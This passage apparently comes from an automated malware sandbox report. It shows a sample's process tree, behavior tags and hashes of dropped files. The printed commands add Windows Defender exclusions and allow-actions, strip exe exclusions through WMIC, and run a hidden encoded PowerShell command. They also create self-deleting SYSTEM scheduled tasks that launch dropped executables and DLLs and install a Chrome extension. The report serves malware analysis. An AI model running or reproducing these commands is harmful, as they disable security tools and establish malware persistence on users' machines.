                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PqbaBdNutUHU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PqbaBdNutUHU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lExdmLMBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lExdmLMBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ruvdGviMRzUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ruvdGviMRzUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tcAZjUgKvOkyC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tcAZjUgKvOkyC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vTGqftCYFnqsQTavPzR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vTGqftCYFnqsQTavPzR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ypvfxRdiVpdIIEVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ypvfxRdiVpdIIEVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QJyOOZntLhEYOJVTw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QJyOOZntLhEYOJVTw\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\TtNtWPRQARDvDBvI\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\TtNtWPRQARDvDBvI\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4724
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PqbaBdNutUHU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4216
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PqbaBdNutUHU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:4400
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PqbaBdNutUHU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:512
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lExdmLMBU" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:1500
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lExdmLMBU" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2260
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ruvdGviMRzUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:3076
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ruvdGviMRzUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:1836
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tcAZjUgKvOkyC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:1376
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tcAZjUgKvOkyC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:2280
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vTGqftCYFnqsQTavPzR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:2180
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vTGqftCYFnqsQTavPzR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:4436
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ypvfxRdiVpdIIEVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:4452
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ypvfxRdiVpdIIEVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:2084
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:2080
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:4528
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QJyOOZntLhEYOJVTw /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:4352
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QJyOOZntLhEYOJVTw /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4336
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\TtNtWPRQARDvDBvI /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3184
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\TtNtWPRQARDvDBvI /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3064
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "gLtmqMbfJ" /SC once /ST 01:05:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4244
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /run /I /tn "gLtmqMbfJ"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:504
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /DELETE /F /TN "gLtmqMbfJ"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3164
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "YoRBImjUnYbxcjeUQ" /SC once /ST 00:08:29 /RU "SYSTEM" /TR "\"C:\Windows\Temp\TtNtWPRQARDvDBvI\CoQKczfmRejQhlk\reYdBcL.exe\" 1b /yjQudidZo 525403 /S" /V1 /F
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:3496
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "YoRBImjUnYbxcjeUQ"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:5068
                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                          1⤵
                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                          PID:3780
                                                                                                                                                          • C:\Windows\system32\gpupdate.exe
                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4816
                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                            c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1776
                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2984
                                                                                                                                                              • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                gpscript.exe /RefreshSystemParam
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:2816
                                                                                                                                                                • C:\Windows\Temp\TtNtWPRQARDvDBvI\CoQKczfmRejQhlk\reYdBcL.exe
                                                                                                                                                                  C:\Windows\Temp\TtNtWPRQARDvDBvI\CoQKczfmRejQhlk\reYdBcL.exe 1b /yjQudidZo 525403 /S
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Drops Chrome extension
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                  PID:4656
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:956
                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:2904
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:760
                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:1440
                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1852
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:4848
                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:4664
                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:4268
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:4704
                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:32
                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4832
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:3108
                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:972
                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4628
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:924
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                        PID:5112
                                                                                                                                                                                                        • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:4488
                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                    schtasks /DELETE /F /TN "baOmDneVXoOuKLmJPZ"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:2896
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2092
                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:372
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:2364
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                  PID:4200
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                    PID:5008
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\lExdmLMBU\eJJAdu.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "kRLTqYWysAZjVOw" /V1 /F
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:3904
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TN "kRLTqYWysAZjVOw2" /F /xml "C:\Program Files (x86)\lExdmLMBU\GbeKMvF.xml" /RU "SYSTEM"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:3796
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /END /TN "kRLTqYWysAZjVOw"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1496
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /DELETE /F /TN "kRLTqYWysAZjVOw"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:392
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "ykUuPKxmqaQUII" /F /xml "C:\Program Files (x86)\PqbaBdNutUHU2\ZDTRhEY.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:2340
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "ulpCfKOOGSKos2" /F /xml "C:\ProgramData\ypvfxRdiVpdIIEVB\scQAIfG.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:1580
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "FvvOAjPOJzCKoDLGH2" /F /xml "C:\Program Files (x86)\vTGqftCYFnqsQTavPzR\xlWwbma.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:2788
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "WDMUNxCrfDqnCNrbnrT2" /F /xml "C:\Program Files (x86)\tcAZjUgKvOkyC\qgGPqOX.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3780
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "qZvWQJXUOVWXUoxnV" /SC once /ST 22:11:38 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\TtNtWPRQARDvDBvI\DkcDKSnq\hZFKubi.dll\",#1 /EOdidYxv 525403" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:5008
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /run /I /tn "qZvWQJXUOVWXUoxnV"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:404
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /DELETE /F /TN "YoRBImjUnYbxcjeUQ"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:2812
                                                                                                                                                                                                                • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                                  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\TtNtWPRQARDvDBvI\DkcDKSnq\hZFKubi.dll",#1 /EOdidYxv 525403
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:1756
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                      c:\windows\system32\rundll32.EXE "C:\Windows\Temp\TtNtWPRQARDvDBvI\DkcDKSnq\hZFKubi.dll",#1 /EOdidYxv 525403
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                      PID:372
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /DELETE /F /TN "qZvWQJXUOVWXUoxnV"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:3496

                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                    • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      129B

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                                                                                                    • C:\Program Files (x86)\PqbaBdNutUHU2\ZDTRhEY.xml

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                      MD5

